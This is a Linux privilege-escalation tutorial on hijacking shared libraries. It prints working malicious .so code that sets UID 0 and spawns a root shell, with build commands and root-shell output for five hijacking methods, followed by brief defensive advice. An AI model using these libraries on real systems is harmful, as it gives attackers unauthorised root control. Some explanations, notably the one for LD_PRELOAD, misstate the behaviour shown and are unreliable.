Libraries
A library is a file containing compiled code that is used by developers to avoid re-writing the same pieces of code used in multiple programs; this is often known as modular programming. It can contain classes, methods or data structures and will be linked to the program that will use it at the compilation time.
There are two main types of libraries in Linux:
- Static libraries (.a extension)
- Dynamic or shared libraries (.so extension)
Static Libraries
Static libraries will become part of the program so they will be unalterable once the compilation is done. This means that the running program has its own copy of the library, which won’t be interesting to us, since we cannot do anything.
Dynamic Libraries
Dynamic libraries can be used in two ways:
- Dynamic linking (dynamically linked, where a program is linked with the shared library and the kernel loads the library if it’s not in memory upon execution).
- Dynamic loading (dynamically loaded, the program takes full control by calling functions with the library).
If we manage to alter the content of a dynamic library, we should be able to control the execution of the calling program and that’s what we want!
Dynamic Linking
Since these libraries are dynamically linked to the program, the operating system needs to know where to look for these libraries because if the operating system doesn’t know where the libraries are located, then it won’t find them and therefore, the libraries will not be executed, resulting in an error. To solve this we can create dynamic links and do that we can use the GNU linker.
ld is the GNU linker.
ld - The GNU Linker
The following methods can be used for specifying the location of dynamic libraries:
- The
-rpath
or -rpath-link
options when compiling the application. - The environment variable
LD_RUN_PATH
. - The environment variable
LD_LIBRARY_PATH
. - The value of
DT_RUNPATH
or DT_PATH
. - Placing libraries in the default
/lib
or /usr/lib
directories. - Specifying a directory containing our libraries in
/etc/ld.so.conf
.
Default Mitigations
As an attacker, our objective is to control one of the methods mentioned before in order to replace an existing dynamic library with a malicious one.However, by default, security measures have been put in place in Linux.
This is not the end. In this article, we will see that there are so many ways to make this privilege escalation vector possible.
Shared Object Injection
Shared libraries are libraries that are loaded by programs when they start.
If we can write or replace a shared library that is used by a SUID binary/program. As an attacker, we can create some malicious code and the program that loads the shared library will also execute the code that we create.
In other words, shared object libraries can be injected or hijacked during a program execution. We could import malicious shared object to elevate privileges in a system.
Dynamically Loaded Libraries Search Order
This is the order in which programs look for shared object files:
- The directories in the LD_LIBRARY_PATH environment variable.
- The directories specified in /etc/ld.so.cache which is generated from the configuration file which is /etc/ld.so.conf.
- Lastly, we have the /lib directory, which is a symbolic link to /usr/lib.
Note: This is the order for this article; there are other ways in which you can compile your program and may alter the search order. If you want to know the search order for you, read the description of the man page (ld.so)
Setting Up The Workspace
Install the required packages for this video:
1
| user@pwn:~$ sudo apt update && sudo apt install -y vim gcc
|
Now clear
the screen:
Let’s start by creating a working directory:
1
2
3
4
| user@pwn:~$ mkdir so-files
user@pwn:~$ cd !$
cd so-files
user@pwn:~/so-files$
|
We’ll create a file named libcustom.c
:
1
| user@pwn:~/so-files$ vim libcustom.c
|
This print a message and nothing more:
1
2
3
4
5
6
7
| #include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
void say_hi(){
printf("Message from libcustom.c\n");
}
|
Then we’ll create a header file named libcustom.h
, which is the header file:
1
| user@pwn:~/so-files$ vim libcustom.h
|
This code calls an external function, in this case, the function called say_hi
:
1
2
3
4
5
6
| #ifndef say_hi_h__
#define say_hi_h__
extern void say_hi(void);
#endif // say_hi_h__
|
Now we will write and create a program that simply prints a message. I will name this file as myexec.c
:
1
| user@pwn:~/so-files$ vim myexec.c
|
This code imports the libcustom.h
header file, the main()
function prints a message and executes the say_hi()
function which is found in the header file libcustom.h
and if the execution is successful it returns a status code of (0):
1
2
3
4
5
6
7
8
| #include <stdio.h>
#include "libcustom.h"
int main(){
printf("Message from myexec.c!\n");
say_hi();
return 0;
}
|
Now create a new directory named evil
and navigate there, this is where the malicious library will be placed:
1
2
3
4
| user@pwn:~/so-files$ mkdir evil
user@pwn:~/so-files$ cd !$
cd evil
user@pwn:~/so-files/evil$
|
Lastly, we’ll create the code that will be included in the malicious library file. I’ll name this file as libcustom.c
:
1
| user@pwn:~/so-files/evil$ vim libcustom.c
|
This code sets the UID (0) which is the UID of the root user. Then it sets the GID of (0) which is the root group. The next three lines print a message of their own. The last line spawns a bash shell:
1
2
3
4
5
6
7
8
9
10
11
12
13
| #include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
void say_hi(){
setuid(0);
setgid(0);
printf("I'm the bad library!\n");
printf("I'm trying to spawn a root shell...\n");
printf("Check your shell!\n");
system("/bin/bash");
}
|
Now copy the original header file to our current working directory:
1
2
3
| user@pwn:~/so-files/evil$ cp ../libcustom.h .
user@pwn:~/so-files/evil$ ls
libcustom.c libcustom.h
|
Let’s create the malicious shared object:
1
2
3
4
5
6
7
8
| user@pwn:~/so-files/evil$ gcc -c -Wall -Werror -fPIC libcustom.c
user@pwn:~/so-files/evil$ gcc -shared -o libcustom.so libcustom.o
user@pwn:~/so-files/evil$ ls -l
total 28
-rw-rw-r-- 1 user user 281 Dec 10 12:13 libcustom.c
-rw-rw-r-- 1 user user 88 Dec 10 12:14 libcustom.h
-rw-rw-r-- 1 user user 2104 Dec 10 12:14 libcustom.o
-rwxrwxr-x 1 user user 16360 Dec 10 12:14 libcustom.so
|
Now go back to the main directory:
1
| user@pwn:~/so-files/evil$ cd ~/so-files
|
This creates an object file:
1
| user@pwn:~/so-files$ gcc -c -Wall -Werror -fPIC libcustom.c
|
Then create a shared object file:
1
| user@pwn:~/so-files$ gcc -shared -o libcustom.so libcustom.o
|
Copy the shared object to the library directory:
1
| user@pwn:~/so-files$ sudo cp libcustom.so /usr/lib/
|
Finally, compile the program:
1
| user@pwn:~/so-files$ gcc -Wall -o myexec myexec.c -lcustom
|
Then we can confirm how this is loading the library with ldd:
1
2
3
4
5
| user@pwn:~/so-files$ ldd ./myexec
linux-vdso.so.1 (0x00007ffcb9571000)
libcustom.so => /lib/libcustom.so (0x00007f74a1d09000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f74a1b17000)
/lib64/ld-linux-x86-64.so.2 (0x00007f74a1d24000)
|
Looking at this directories we can see a symbolic link from /lib to usr/lib:
1
2
3
4
5
6
| user@pwn:~/so-files$ ls -la /lib
lrwxrwxrwx 1 root root 7 Nov 25 07:43 /lib -> usr/lib
user@pwn:~/so-files$ ls -la /lib/libcustom.so
-rwxr-xr-x 1 root root 16200 Dec 10 12:15 /lib/libcustom.so
user@pwn:~/so-files$ ls -la /usr/lib/libcustom.so
-rwxr-xr-x 1 root root 16200 Dec 10 12:15 /usr/lib/libcustom.so
|
We can also confirm the magic bytes with the program file:
1
2
3
4
5
6
7
8
9
10
11
12
| user@pwn:~/so-files$ file libcustom.c
libcustom.c: C source, ASCII text
user@pwn:~/so-files$ file libcustom.h
libcustom.h: C source, ASCII text
user@pwn:~/so-files$ file libcustom.o
libcustom.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped
user@pwn:~/so-files$ file libcustom.so
libcustom.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=0a68a5d5e67fd1490da8bd5a4ea15443708aa8eb, not stripped
user@pwn:~/so-files$ file myexec.c
myexec.c: C source, ASCII text
user@pwn:~/so-files$ file myexec
myexec: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4200d2a9c3ccff108f83ff6e875db38a37c3ea5c, for GNU/Linux 3.2.0, not stripped
|
We can read ELF files with the readelf
command (-d
stands for dynamic):
1
2
3
4
5
6
7
| user@pwn:~/so-files$ readelf -d myexec
Dynamic section at offset 0x2db0 contains 28 entries:
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libcustom.so]
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
<...SNIP...>
|
Let’s create an SUID bit to the binary:
1
2
| user@pwn:~/so-files$ sudo cp myexec /usr/bin/myexec
user@pwn:~/so-files$ sudo chmod u+s /usr/bin/myexec
|
We can use the find command to search for SUID files:
1
2
| user@pwn:~/so-files$ find / -type f -perm -u=s 2>/dev/null | xargs ls -l | grep myexec
-rwsr-xr-x 1 root root 16728 Dec 10 12:20 /usr/bin/myexec
|
Additionally, we are gonna create another one but WITHOUT an SUID bit set:
1
| user@pwn:~/so-files$ sudo cp ~/so-files/myexec /usr/bin/myexec2
|
Try to execute the /usr/bin/myexec
binary:
1
2
3
| user@pwn:~/so-files/evil$ /usr/bin/myexec
Message from myexec.c!
Message from libcustom.c
|
As we can see above, the library gets loaded and executed.
Privilege Escalation via Write permissions in /usr/lib
Let’s navigate to where the malicious library is located:
1
2
| user@pwn:~/so-files$ cd ~/so-files/evil
user@pwn:~/so-files/evil$
|
Startup by adding write permissions to the folder /usr/lib
, this is a misconfiguration that should never be done:
1
| user@pwn:~/so-files/evil$ sudo chmod o+w /usr/lib/libcustom.so
|
Replace the original library file with the malicious library file:
1
| user@pwn:~/so-files/evil$ cp libcustom.so /lib/libcustom.so
|
Using ldd
we can see that the library (libcustom.so
) is pointing to the file that we just replaced:
1
2
3
4
5
| user@pwn:~/so-files/evil$ ldd /usr/bin/myexec
linux-vdso.so.1 (0x00007fff77127000)
libcustom.so => /lib/libcustom.so (0x00007fdca1271000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fdca137f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fdcb138c000)
|
If we execute the binary, it will load the malicious library:
1
2
3
4
5
6
7
8
9
10
| user@pwn:~/so-files/evil$ /usr/bin/myexec
Message from myexec.c!
I'm the bad library!
I'm trying to spawn a root shell...
Check your shell!
root@pwn:~/so-files/evil# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),132(lxd),133(sambashare),1000 (user)
root@pwn:~/so-files/evil# whoami
root
root@pwn:~/so-files/evil#
|
As we can see, we’re able to escalate privileges.
Exit out of the root shell:
1
| root@pwn:~/so-files/evil# exit
|
Now let’s restore the original library:
1
| user@pwn:~/so-files/evil$ sudo cp ~/so-files/libcustom.so /lib/libcustom.so
|
Lastly, remove the write permissions from other users and groups:
1
| user@pwn:~/so-files/evil$ sudo chmod o-w /lib/libcustom.so
|
Privilege Escalation via LD_PRELOAD
This will ONLY work if the binary does NOT have a SUID bit set. Let’s execute the binary that does NOT have a SUID bit set, in this case, myexec2
that we created earlier:
1
2
3
4
5
6
| user@pwn:~/so-files/evil$ LD_PRELOAD=/home/user/so-files/evil/libcustom.so /usr/bin/myexec2
Message from myexec.c!
I'm the bad library!
I'm trying to spawn a root shell...
Check your shell!
user@pwn:~/so-files/evil$
|
As we can see above, it loads the malicious library but it then notices that there’s a SUID bit declaration in the malicious library and therefore it doesn’t execute the root shell. Now let’s try executing a binary with the SUID bit set:
1
2
3
4
| user@pwn:~/so-files/evil$ LD_PRELOAD=/home/user/so-files/evil/libcustom.so /usr/bin/myexec
Message from myexec.c!
Message from libcustom.c
user@pwn:~/so-files/evil$
|
It doesn’t even load the malicious library because the binary itself (myexec
) has a SUID bit set. This doesn’t work because it has been patched.
Now let’s remove the value in the LD_PRELOAD environment variable with the unset
command:
1
2
3
4
5
6
| user@pwn:~/so-files/evil$ echo $LD_PRELOAD
/home/user/so-files/evil/libcustom.so
user@pwn:~/so-files/evil$ unset LD_PRELOAD
user@pwn:~/so-files/evil$ echo $LD_PRELOAD
user@pwn:~/so-files/evil$
|
Privilege Escalation via LD_LIBRARY_PATH
Let’s modify the value of the LD_LIBRARY_PATH environment variable by adding the directory in which the malicious library is located:
1
2
3
4
| user@pwn:~/so-files/evil$ export LD_LIBRARY_PATH=/home/user/so-files/evil/
user@pwn:~/so-files/evil$ echo $LD_LIBRARY_PATH
/home/user/so-files/evil/
user@pwn:~/so-files/evil$
|
Using ldd
we can see that library libcustom.so
is now pointing to the directory that has the malicious library:
1
2
3
4
5
6
7
8
9
10
11
| user@pwn:~/so-files/evil$ ldd /usr/bin/myexec
linux-vdso.so.1 (0x00007ffffe3f3000)
libcustom.so => /home/user/so-files/evil/libcustom.so (0x00007fe052992000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe052791000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe05299e000)
user@pwn:~/so-files/evil$ ldd /usr/bin/myexec2
linux-vdso.so.1 (0x00007ffde8bb2000)
libcustom.so => /home/user/so-files/evil/libcustom.so (0x00007f7c0f2b0000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7c0f0af000)
/lib64/ld-linux-x86-64.so.2 (0x00007f7c0f2bc000)
user@pwn:~/so-files/evil$
|
If we try to do the same things as we did with the environment variable LD_PRELOAD
, we can see that the same thing happens:
1
2
3
4
5
6
7
8
9
10
| user@pwn:~/so-files/evil$ /usr/bin/myexec
Message from myexec.c!
Message from libcustom.c
user@pwn:~/so-files/evil$ /usr/bin/myexec2
Message from myexec.c!
I'm the bad library!
I'm trying to spawn a root shell...
Check your shell!
user@pwn:~/so-files/evil$
|
Note: This may not work because it has been patched as well.
Now let’s remove the value in the LD_LIBRARY_PATH environment variable with the unset
command:
1
2
3
4
5
6
| user@pwn:~/so-files/evil$ echo $LD_LIBRARY_PATH
/home/user/so-files/evil/
user@pwn:~/so-files/evil$ unset LD_LIBRARY_PATH
user@pwn:~/so-files/evil$ echo $LD_LIBRARY_PATH
user@pwn:~/so-files/evil$
|
Privilege Escalation via LDCONFIG
Before continuing make sure that the environments variables that we used before are cleared:
1
2
3
4
5
| user@pwn:~/so-files/evil$ echo $LD_LIBRARY_PATH
user@pwn:~/so-files/evil$ echo $LD_PRELOAD
user@pwn:~/so-files/evil$
|
The file /etc/ld.so.conf
is a configuration file pointing to other configuration files that will help the linker to locate libraries. Read the directories listed in the ldconfig
configuration file /etc/ld.so.conf
:
1
2
3
4
5
6
| user@pwn:~/so-files/evil$ ls -la /etc/ld.so.conf
-rw-r--r-- 1 root root 34 Apr 14 2020 /etc/ld.so.conf
user@pwn:~/so-files/evil$ cat /etc/ld.so.conf
include /etc/ld.so.conf.d/*.conf
user@pwn:~/so-files/evil$
|
We could list the configuration files that are located in /etc/ld.so.conf.d/
:
1
2
3
4
5
6
| user@pwn:~/so-files/evil$ ls -la /etc/ld.so.conf.d/
total 24
drwxr-xr-x 2 root root 4096 Aug 19 06:30 .
drwxr-xr-x 128 root root 12288 Dec 10 12:04 ..
-rw-r--r-- 1 root root 44 Apr 14 2020 libc.conf
-rw-r--r-- 1 root root 100 Apr 14 2020 x86_64-linux-gnu.conf
|
Create a custom configuration file that points to the /tmp
directory, which is a directory that user-privileged users have write permissions on:
1
2
3
| user@pwn:~/so-files/evil$ sudo vim /etc/ld.so.conf.d/shouldnt_be_here.conf
user@pwn:~/so-files/evil$ cat /etc/ld.so.conf.d/shouldnt_be_here.conf
/tmp
|
Since we have writable permissions in the /tmp
directory, we can place or write our malicious shared object there:
1
2
3
4
| user@pwn:~/so-files/evil$ cp libcustom.so /tmp
user@pwn:~/so-files/evil$ ls -l /tmp/libcustom.so
-rwxrwxr-x 1 user user 16360 Dec 10 12:38 /tmp/libcustom.so
user@pwn:~/so-files/evil$
|
We now need to use ldconfig to update the linker’s cache so that it will be aware of this new evil library. The cache can be updated with the ldconfig
command.
ldd
output BEFORE executing ldconfig
:
1
2
3
4
5
6
| user@pwn:~/so-files/evil$ ldd /usr/bin/myexec
linux-vdso.so.1 (0x00007ffc00ff9000)
libcustom.so => /lib/libcustom.so (0x00007f7b7e24d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7b7e05b000)
/lib64/ld-linux-x86-64.so.2 (0x00007f7b7e268000)
user@pwn:~/so-files/evil$
|
ldd
output AFTER executing ldconfig
:
1
2
3
4
5
6
7
| user@pwn:~/so-files/evil$ sudo /usr/sbin/ldconfig
user@pwn:~/so-files/evil$ ldd /usr/bin/myexec
linux-vdso.so.1 (0x00007fff9b6cd000)
libcustom.so => /tmp/libcustom.so (0x00007f63a510f000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f63a4f1d000)
/lib64/ld-linux-x86-64.so.2 (0x00007f63a512a000)
user@pwn:~/so-files/evil$
|
Now we execute the binary:
1
2
3
4
5
6
7
8
9
10
| user@pwn:~/so-files/evil$ /usr/bin/myexec
Message from myexec.c!
I'm the bad library!
I'm trying to spawn a root shell...
Check your shell!
root@pwn:~/so-files/evil# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),132(lxd),133(sambashare),1000 (user)
root@pwn:~/so-files/evil# whoami
root
root@pwn:~/so-files/evil#
|
We can see that we have escalated privileges. However, since we no longer need the file, we can remove it:
1
| user@pwn:~/so-files/evil$ sudo rm /etc/ld.so.conf.d/shouldnt_be_here.conf
|
We could reload the ld
configuration with ldconfig
:
1
2
3
4
5
6
7
8
9
10
11
12
| user@pwn:~/so-files/evil$ ldd /usr/bin/myexec
linux-vdso.so.1 (0x00007ffd4cd08000)
libcustom.so => /tmp/libcustom.so (0x00007f150e0a7000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f150deb5000)
/lib64/ld-linux-x86-64.so.2 (0x00007f150e0c2000)
user@pwn:~/so-files/evil$ sudo ldconfig
user@pwn:~/so-files/evil$ ldd /usr/bin/myexec
linux-vdso.so.1 (0x00007ffeaefb4000)
libcustom.so => /lib/libcustom.so (0x00007f35cf80a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f35cf618000)
/lib64/ld-linux-x86-64.so.2 (0x00007f35cf825000)
user@pwn:~/so-files/evil$
|
Privilege Escalation via Fake ld.so.conf
We create our fake ld.so.conf:
1
2
| user@pwn:~/so-files/evil$ cd /tmp
user@pwn:/tmp$ echo "include /tmp/conf/*" > /tmp/fake.ld.so.conf
|
Then, we add a configuration file to the location indicated by fake.ld.so.conf:
1
2
| user@pwn:/tmp$ mkdir conf
user@pwn:/tmp$ echo "/tmp" > conf/evil.conf
|
Finally, we execute ldconfig
with the -f option:
1
| user@pwn:/tmp$ sudo ldconfig -f fake.ld.so.conf
|
Now verify that the shared object that is being loaded is the malicious one and execute the binary (myexec
):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| user@pwn:/tmp$ ldd /usr/bin/myexec
linux-vdso.so.1 (0x00007ffd872a4000)
libcustom.so => /tmp/libcustom.so (0x00007f9a11ce3000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f9a11af1000)
/lib64/ld-linux-x86-64.so.2 (0x00007f9a11cfe000)
user@pwn:/tmp$ /usr/bin/myexec
Message from myexec.c!
I'm the bad library!
I'm trying to spawn a root shell...
Check your shell!
root@pwn:/tmp# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),132(lxd),133(sambashare),1000 (user)
root@pwn:/tmp# whoami
root
root@pwn:/tmp#
|
We can escalate privileges, let’s exit out of the root shell:
Then we could remove everything:
1
2
3
| user@pwn:/tmp$ rm libcustom.so
user@pwn:/tmp$ rm fake.ld.so.conf
user@pwn:/tmp$ sudo rm -rf conf
|
Review that the shared object is loading the correct one:
1
2
3
4
5
| user@pwn:/tmp$ ldd /usr/bin/myexec
linux-vdso.so.1 (0x00007ffd07df0000)
libcustom.so => /lib/libcustom.so (0x00007fdf67edb000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fdf67ce9000)
/lib64/ld-linux-x86-64.so.2 (0x00007fdf67ef6000)
|
Privilege Escalation via Missing Shared Object
Let’s navigate to the directory where our .so
files are located:
1
| user@pwn:/tmp$ cd ~/so-files
|
Create a file named nosuchfile.c
which will open a shared object file:
1
| user@pwn:~/so-files$ vim nosuchfile.c
|
Add the following code which prints the ‘Hello’ string on the screen and opens a dynamic library, in this case, a shared object file named custom.so
:
1
2
3
4
5
6
7
8
9
| #include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
int main(){
printf("Hello\n");
dlopen("/home/user/.config/custom.so",1); // Load the custom.so shared object.
return 0;
}
|
To compile we have to link against libdl
, to do this add the -ldl
option:
1
| user@pwn:~/so-files$ gcc -o nosuchfile nosuchfile.c -ldl
|
Now copy this file to the /usr/bin/
directory:
1
| user@pwn:~/so-files$ sudo cp nosuchfile /usr/bin/
|
Then add the SUID bit to the /usr/bin/nosuchfile
binary:
1
| user@pwn:~/.config$ sudo chmod u+s /usr/bin/nosuchfile
|
Check if the file is not found:
1
2
3
4
5
6
| user@pwn:~/so-files$ strace /usr/bin/nosuchfile 2>&1 | grep -iE "open|access|no such file"
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libdl.so.2", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/home/user/.config/custom.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
|
Create a custom shared object in the directory that the binary nosuchfile
looks for the dynamic library, in this case, is /home/user/.config/custom.so
.
1
| vim /home/user/.config/custom.c
|
Will create a code that executes bash as root:
1
2
3
4
5
6
7
8
9
10
| #include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
|
Navigate to the directory /home/user/.config
:
1
| user@pwn:~/so-files$ cd /home/user/.config
|
Now compile the custom.c
file and ignore the warning message:
Treat warnings as errors (-Werror), as a developer, we should always try to use this:
1
2
3
4
5
6
7
8
9
| user@pwn:~/.config$ gcc -c -Wall -Werror -fpic custom.c
custom.c: In function ‘inject’:
custom.c:7:2: error: implicit declaration of function ‘setuid’ [-Werror=implicit-function-declaration]
7 | setuid(0);
| ^~~~~~
custom.c:8:2: error: implicit declaration of function ‘setgid’ [-Werror=implicit-function-declaration]
8 | setgid(0);
| ^~~~~~
cc1: all warnings being treated as errors
|
However, because I want to demonstrate this privilege escalation technique, I’ll ignore the warnings and just compile the program so I won’t use it:
1
2
3
4
5
6
7
8
| user@pwn:~/.config$ gcc -c -Wall -fpic custom.c
custom.c: In function ‘inject’:
custom.c:7:2: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
7 | setuid(0);
| ^~~~~~
custom.c:8:2: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
8 | setgid(0);
| ^~~~~~
|
Create the shared object:
1
| user@pwn:~/.config$ gcc -shared -o custom.so custom.o
|
Execute the program and since the program has a SUID bit set, it executes as root, then it loads the evil library, and the evil library spawns a root shell:
As we can see we’re able to escalate to the root user:
1
2
3
4
| user@pwn:~/.config$ /usr/bin/nosuchfile
Hello
root@pwn:~/.config# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),132(lxd),133(sambashare),1000 (user)
|
Now remove the SUID bit and try to execute the binary again:
1
2
3
4
| user@pwn:~/.config$ sudo chmod u-s /usr/bin/nosuchfile
user@pwn:~/.config$ /usr/bin/nosuchfile
Hello
user@pwn:~/.config$
|
For this to work, the binary must have the SUID bit set.
Defend
To defend against these attacks, consider the following measures:
- Avoid setting the SUID bit on executables that are not necessary.
- Ensure that
/lib
and /usr/lib
directories are not writable by others. - Verify that the directories specified in
/etc/ld.so.conf
are not writable by others. - Ensure that the directories specified in
LD_LIBRARY_PATH
are not writable by others.